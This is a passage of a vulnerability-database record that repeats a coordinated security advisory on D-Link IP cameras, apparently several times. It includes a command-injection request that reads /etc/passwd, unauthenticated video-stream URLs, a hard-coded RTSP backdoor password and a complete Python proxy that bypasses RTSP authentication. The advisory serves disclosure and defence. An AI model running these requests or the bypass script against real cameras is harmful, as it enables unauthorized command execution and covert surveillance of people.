in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log('[!] Unauthorized response received. Spoofing...')\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search('.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*',\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = 'RTSP/1.0 200 OK\\r\\n'\n data+= 'CSeq: %s\\r\\n' % cseq\n data+= 'Content-Type: application/sdp\\r\\n'\n data+= 'Content-Length: %d\\r\\n' % len(spoofed_describe)\n data+= '\\r\\n'\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search('.*%s\\\\s*(.+?)[;|\\r].*' %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split('-'))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == '__main__':\n if len( sys.argv ) > 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print 'usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]' \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream.\n\n/-----\nusername: (any) \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string ':?*' (the character ':' is used for concatenation of\n'username:password'). This code belongs to the binary 'rtspd':\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" <-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability.\n\n. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability.\n\n. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013.\n\n. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU).\n\n. 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program.\n\n. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP.\n\n. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release).\n\n. 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable.\n\n. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days.\n\n. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th.\n\n. 2013-04-29:\nAdvisory CORE-2013-0303 published.\n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.\n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography.\nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies.\nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com.\n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations.\n\nCore Security's software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company's Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com.\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:12:25", "description": "", "cvss3": {}, "published": "2013-04-29T00:00:00", "type": "packetstorm", "title": "D-Link IP Cameras Injection / Bypass", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2013-1603", "CVE-2013-1602", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601"], "modified": "2013-04-29T00:00:00", "id": "PACKETSTORM:121452", "href": "https://packetstormsecurity.com/files/121452/D-Link-IP-Cameras-Injection-Bypass.html", "sourceData": "`Core Security - Corelabs Advisory \nhttp://corelabs.coresecurity.com/ \n \nD-Link IP Cameras Multiple Vulnerabilities \n \n1. *Advisory Information* \n \nTitle: D-Link IP Cameras Multiple Vulnerabilities \nAdvisory ID: CORE-2013-0303 \nAdvisory URL: \nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities \nDate published: 2013-04-29 \nDate of last update: 2013-03-29 \nVendors contacted: D-Link Corporation \nRelease mode: Coordinated release \n \n2. *Vulnerability Information* \n \nClass: OS command injection [CWE-78], Authentication issues [CWE-287], \nInformation leak through GET request [CWE-598], Authentication issues \n[CWE-287], Use of hard-coded credentials [CWE-798] \nImpact: Code execution, Security bypass \nRemotely Exploitable: Yes \nLocally Exploitable: No \nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, \nCVE-2013-1603 \n \n3. *Vulnerability Description* \n \nMultiple vulnerabilities have been found in D-Link IP cameras [1] that \ncould allow an unauthenticated remote attacker: \n \n1. [CVE-2013-1599] to execute arbitrary commands from the \nadministration web interface, \n2. [CVE-2013-1600] to access the video stream via HTTP, \n3. [CVE-2013-1601] to access the ASCII video stream via image luminance, \n4. [CVE-2013-1602] to access the video stream via RTSP, \n5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded \ncredentials. \n \n4. *Vulnerable Packages* \n \nThe following is the list of affected devices and the associated \nfirmware (confirmed by D-Link). Other SKUs are probably affected too, \nbut they were not checked. \n \n[CVE-2013-1599] \n. DCS-3411/3430 - firmware v1.02 \n. DCS-5605/5635 - v1.01 \n. DCS-1100L/1130L - v1.04 \n. DCS-1100/1130 - v1.03 \n. DCS-1100/1130 - v1.04_US \n. DCS-2102/2121 - v1.05_RU \n. DCS-3410 - v1.02 \n. DCS-5230 - v1.02 \n. DCS-5230L - v1.02 \n. DCS-6410 - v1.00 \n. DCS-7410 - v1.00 \n. DCS-7510 - v1.00 \n. WCS-1100 - v1.02 \n \n[CVE-2013-1600] \n. DCS-2102/2121 - v1.05_RU \n. DCS-2102/2121 - v1.06 \n. DCS-2102/2121 - v1.06_FR \n. TESCO DCS-2102/2121 - v1.05_TESCO \n \n[CVE-2013-1601] and [CVE-2013-1603] \n. DCS-3411/3430 - v1.02 \n. DCS-5605/5635 - v1.01 \n. DCS-1100L/1130L - v1.04 \n. DCS-1100/1130 - v1.03 \n. DCS-1100/1130 - v1.04_US \n. DCS-2102/2121 - v1.05_RU \n. DCS-2102/2121 - v1.06 \n. DCS-2102/2121 - v1.06_FR \n. TESCO DCS-2102/2121 - v1.05_TESCO \n. DCS-3410 - v1.02 \n. DCS-5230 - v1.02 \n. DCS-5230L - v1.02 \n. DCS-6410 - v1.00 \n. DCS-7410 - v1.00 \n. DCS-7510 - v1.00 \n. WCS-1100 - v1.02 \n \n[CVE-2013-1602] \n. ALL mentioned devices and firmware. \n \n5. *Vendor Information, Solutions and Workarounds* \n \nD-Link announces that all patches are ready and scheduled for posting on \ncorporate web site for all customers [2013-04-25]. Contact D-Link for \nfurther information. \n \n6. *Credits* \n \n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and \nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers \nTeam. \n \n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core \nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan \nCotta from Core QA Team. \n \n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from \nCore Security Consulting Services. \n \nThe publication of this advisory was coordinated by Fernando Miranda \nfrom Core Advisories Team. \n \n7. *Technical Description / Proof of Concept Code* \n \n7.1. *OS Command Injection* \n \n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' \nallows an unauthenticated remote attacker to execute arbitrary commands \nthrough the camera's web interface. The OS command injection is due to \nthis code in 'rtpd.cgi': \n \n/----- \necho \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain \nspaces.\" \n. $conf > /dev/null 2> /dev/null \neval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\" \n \n-----/ \nThe first line of this snippet basically ensures that there are no \nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace \nampersands '&' with spaces, and then call to the function 'eval()', \nresulting in a typical command injection. For example, in order to execute: \n \n/----- \nuname -a;cat /etc/passwd \n-----/ \nthe following request can be sent to the camera web interface: \n \n/----- \nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd \n-----/ \n \n \n7.2. *Authentication Bypass* \n \n[CVE-2013-1600] The live video stream can be accessed without \nauthentication by a remote attacker via the following request: \n \n/----- \nhttp://192.168.1.100/upnp/asf-mp4.asf \n-----/ \n \n7.3. *ASCII Video Stream Information Leak* \n \n[CVE-2013-1601] An ASCII output (the image luminance) of the live video \nstream can be accessed by a remote unauthenticated attacker via: \n \n/----- \nhttp://192.168.1.100/md/lums.cgi \n-----/ \nThe following example is the output of a coffee pot video stream [2]: \n \n/----- \nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o \nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o \nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o \nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o \nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o \nO O O O O O O O O O o . o O O o . o o o o o o \nO O O O O O O O O . . o o o o o o \nO O O O O O O O . . o o o o o o o o \nO O O O O O O . . o O O o . . o o o o o o o o o \nO O O O O O o . O O O O O O . o o o o o o o o o \nO O O O O O . O O O O O O O . . . . . o o o o o o o o o \nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o \nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o \nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o \nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o \nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o \nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o \nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o \nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o \nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o \nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o \nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o \nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o \nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o \nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o \nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o \nO O O O O O O O O O . . . o o o . o . . o O o . . . . . . \no O O O O O O O O O . . o o o . o . . . O o . . . \no o O O O O O O O O o . o o o . o . . . O o . . \no o o O O O O O O O o . o o o . o . . . O o . \n \n-----/ \n \n7.4. *RTSP Authentication Bypass* \n \n[CVE-2013-1602] This vulnerability is triggered because: \n \n1. Authentication is only present in DESCRIBE requests but not in \nevery subsequent request. \n2. When the RTSP session is being established, the authentication \nrequest of current session is ignored (a previously stored response is \nused instead). \nAs a result, the video stream can be accessed by an unauthenticated \nremote attacker. \n \n/----- \nimport sys \nfrom socket import * \nfrom threading import Thread \nimport time, re \n \nLOGGING = 1 \n \ndef log(s): \nif LOGGING: \nprint '(%s) %s' % (time.ctime(), s) \n \n \nclass UDPRequestHandler(Thread): \ndef __init__(self, data_to_send, recv_addr, dst_addr): \nThread.__init__(self) \nself.data_to_send = data_to_send \nself.recv_addr = recv_addr \nself.dst_addr = dst_addr \n \ndef run(self): \nsender = socket(AF_INET, SOCK_DGRAM) \nsender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) \nsender.sendto(self.data_to_send, self.dst_addr) \nresponse = sender.recv(1024) \nsender.sendto(response, self.recv_addr) \nsender.close() \n \n \nclass UDPDispatcher(Thread): \ndispatchers = [] \n \ndef __has_dispatcher_for(self, port): \nreturn any([d.src_port == port for d in UDPDispatcher.dispatchers]) \n \ndef __init__(self, src_port, dst_addr): \nThread.__init__(self) \nif self.__has_dispatcher_for(src_port): \nraise Exception('There is already a dispatcher for port %d' \n% src_port) \nself.src_port = src_port \nself.dst_addr = dst_addr \nUDPDispatcher.dispatchers.append(self) \n \ndef run(self): \nlistener = socket(AF_INET, SOCK_DGRAM) \nlistener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) \nlistener.bind(('', self.src_port)) \nwhile 1: \ntry: \ndata, recv_addr = listener.recvfrom(1024) \nif not data: break \nUDPRequestHandler(data, recv_addr, self.dst_addr).start() \nexcept Exception as e: \nprint e \nbreak \nlistener.close() \nUDPDispatcher.dispatchers.remove( self ) \n \n \nclass PipeThread(Thread): \npipes = [] \ndef __init__(self, source, sink, process_data_callback=lambda x: x): \nThread.__init__(self) \nself.source = source \nself.sink = sink \nself.process_data_callback = process_data_callback \nPipeThread.pipes.append(self) \n \ndef run(self): \nwhile 1: \ntry: \ndata = self.source.recv(1024) \ndata = self.process_data_callback(data) \nif not data: break \nself.sink.send( data ) \nexcept Exception as e: \nlog(e) \nbreak \nPipeThread.pipes.remove(self) \n \n \nclass TCPTunnel(Thread): \ndef __init__(self, src_port, dst_addr, process_data_callback=lambda \nx: x): \nThread.__init__(self) \nlog('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, \ndst_addr[0], dst_addr[1])) \nself.dst_addr = dst_addr \nself.process_data_callback = process_data_callback \n# Create TCP listener socket \nself.sock = socket(AF_INET, SOCK_STREAM) \nself.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) \nself.sock.bind(('', src_port)) \nself.sock.listen(5) \n \ndef run(self): \nwhile 1: \n# Wait until a new connection arises \nnewsock, address = self.sock.accept() \n# Create forwarder socket \nfwd = socket(AF_INET, SOCK_STREAM) \nfwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) \nfwd.connect(self.dst_addr) \n# Pipe them! \nPipeThread(newsock, fwd, self.process_data_callback).start() \nPipeThread(fwd, newsock, self.process_data_callback).start() \n \n \nclass Camera(): \ndef __init__(self, address): \nself.address = address \ndef get_describe_data(self): \nreturn '' \n \n \nclass DLink(Camera): \n# D-Link DCS-2102/1.06-5731 \ndef __init__(self, address): \nCamera.__init__(self, address) \ndef get_describe_data(self): \nreturn \n'\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a' \n \n \nclass RTSPAuthByPasser(): \nDESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' \nUNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' \nSERVER_PORT_ARGUMENTS = 'server_port=' \nDEFAULT_CSEQ = 1 \nDEFAULT_SERVER_PORT_RANGE = '5556-5559' \n \ndef __init__(self, local_port, camera): \nself.last_describe_req = '' \nself.camera = camera \nself.local_port = local_port \n \ndef start(self): \nlog('[!] Starting bypasser') \nTCPTunnel(self.local_port, self.camera.address, \nself.spoof_rtsp_conn).start() \n \ndef spoof_rtsp_conn(self, data): \nif RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: \nself.last_describe_req = data \nelif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and \nself.last_describe_req: \nlog('[!] Unauthorized response received. Spoofing...') \nspoofed_describe = self.camera.get_describe_data() \n# Look for the request CSeq \nm = re.search('.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*', \nself.last_describe_req) \ncseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ \n# Create the response \ndata = 'RTSP/1.0 200 OK\\r\\n' \ndata+= 'CSeq: %s\\r\\n' % cseq \ndata+= 'Content-Type: application/sdp\\r\\n' \ndata+= 'Content-Length: %d\\r\\n' % len(spoofed_describe) \ndata+= '\\r\\n' \n# Attach the spoofed describe \ndata+= spoofed_describe \nelif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: \n# Look for the server RTP ports \nm = re.search('.*%s\\\\s*(.+?)[;|\\r].*' % \nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) \nports = m.group(1) if m else \nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE \n# For each port in the range create a UDP dispatcher \nbegin_port, end_port = map(int, ports.split('-')) \nfor udp_port in xrange(begin_port, end_port + 1): \ntry: \nUDPDispatcher(udp_port, (self.camera.address[0], \nudp_port)).start() \nexcept: \npass \nreturn data \n \nif __name__ == '__main__': \nif len( sys.argv ) > 1: \nlistener_port = camera_port = int(sys.argv[1]) \ncamera_ip = sys.argv[2] \nif len(sys.argv) == 4: \ncamera_port = int(sys.argv[3]) \nRTSPAuthByPasser(listener_port, DLink((camera_ip, \ncamera_port))).start() \nelse: \nprint 'usage: python %s [local_port] [camera_ip] \n[camera_rtsp_port]' \n-----/ \n \n7.5. *RTSP Hard-Coded Credentials* \n \n[CVE-2013-1603] RTSP service contains hard-coded credentials that \neffectively serve as a backdoor, which allows remote attackers to access \nthe RTSP video stream. \n \n/----- \nusername: (any) \npassword: ?* \n-----/ \n \nAs we can see in the following dump, the submitted password is compared \nwith the string ':?*' (the character ':' is used for concatenation of \n'username:password'). This code belongs to the binary 'rtspd': \n \n/----- \n.text:00011468 loc_11468 ; Load from Memory \n.text:00011468 LDR R3, [R11,#s2] \n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory \n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory \n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory \n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 \n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 \n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory \n.text:00011484 LDR R0, [R11,#var_C0] ; s1 \n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" <------- \n.text:0001148C MOV R2, #3 ; n \n.text:00011490 BL strncmp ; Branch with Link \n.text:00011494 MOV R3, R0 ; Rd = Op2 \n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 \n.text:0001149C BNE loc_114BC ; Branch \n-----/ \n \n8. *Report Timeline* \n. 2013-03-19: \nCore Security Technologies notifies the D-Link team of the vulnerability. \n \n. 2013-03-20: \nD-Link team asks for a technical description of the vulnerability. \n \n. 2013-03-20: \nCore sends a draft advisory with technical details and set the estimated \npublication date of the advisory for May 14th, 2013. \n \n. 2013-03-20: \nVendor notifies that D-Link Corporation has an unpublished bounty \nprogram for security advisors. The bounty program requires both Core \nSecurity and D-Link to sign a memo of understanding (MoU). \n \n. 2013-03-25: \nCore notifies that receiving money from vendors may bias the view of the \nreport and rejects the bounty program. \n \n. 2013-03-29: \nVendor notifies that they hope to close the fix ASAP. \n \n. 2013-04-08: \nVendor sends the list of vulnerable devices and the associated firmware \nand notifies that they will release patches and release notes on the \nD-Link support forum first. Then, an official public release will be \nannounced (approx. 1 month from forum post to full release). \n \n. 2013-04-24: \nCore asks for a clarification regarding the D-Link release date and \nnotifies that releasing fixes to a privileged closed group and/or a \nclosed forum or list is unacceptable. \n \n. 2013-04-25: \nVendor notifies that the patches are ready and scheduled for posting on \nD-Link web site over the next few days. \n \n. 2013-04-26: \nCore notifies that the advisory is re-scheduled for Monday 29th. \n \n. 2013-04-29: \nAdvisory CORE-2013-0303 published. \n \n9. *References* \n \n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2] \nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n \n10. *About CoreLabs* \n \nCoreLabs, the research center of Core Security Technologies, is charged \nwith anticipating the future needs and requirements for information \nsecurity technologies. We conduct our research in several important \nareas of computer security including system vulnerabilities, cyber \nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of \nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers, \nproject information and shared software tools for public use at: \nhttp://corelabs.coresecurity.com. \n \n11. *About Core Security Technologies* \n \nCore Security Technologies enables organizations to get ahead of threats \nwith security test and measurement solutions that continuously identify \nand demonstrate real-world exposures to their most critical assets. Our \ncustomers can gain real visibility into their security standing, real \nvalidation of their security controls, and real metrics to more \neffectively secure their organizations. \n \nCore Security's software solutions build on over a decade of trusted \nresearch and leading-edge threat expertise from the company's Security \nConsulting Services, CoreLabs and Engineering groups. Core Security \nTechnologies can be reached at +1 (617) 399-6980 or on the Web at: \nhttp://www.coresecurity.com. \n \n12. *Disclaimer* \n \nThe contents of this advisory are copyright (c) 2013 Core Security \nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative \nCommons Attribution Non-Commercial Share-Alike 3.0 (United States) \nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ \n \n13. *PGP/GPG Keys* \n \nThis advisory has been signed with the GPG key of Core Security \nTechnologies advisories team, which is available for download at \nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. \n \n \n`\n", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:UNKNOWN/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/121452/CORE-2013-0303.txt"}], "exploitdb": [{"lastseen": "2023-06-06T15:44:41", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2013-05-01T00:00:00", "type": "exploitdb", "title": "D-Link IP Cameras - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2013-1599", "2013-1600", "2013-1601", "2013-1602", "2013-1603", "CVE-2013-1599", "CVE-2013-1600", "CVE-2013-1601", "CVE-2013-1602", "CVE-2013-1603"], "modified": "2013-05-01T00:00:00", "id": "EDB-ID:25138", "href": "https://www.exploit-db.com/exploits/25138", "sourceData": "Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nD-Link IP Cameras Multiple Vulnerabilities\n\n1. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] 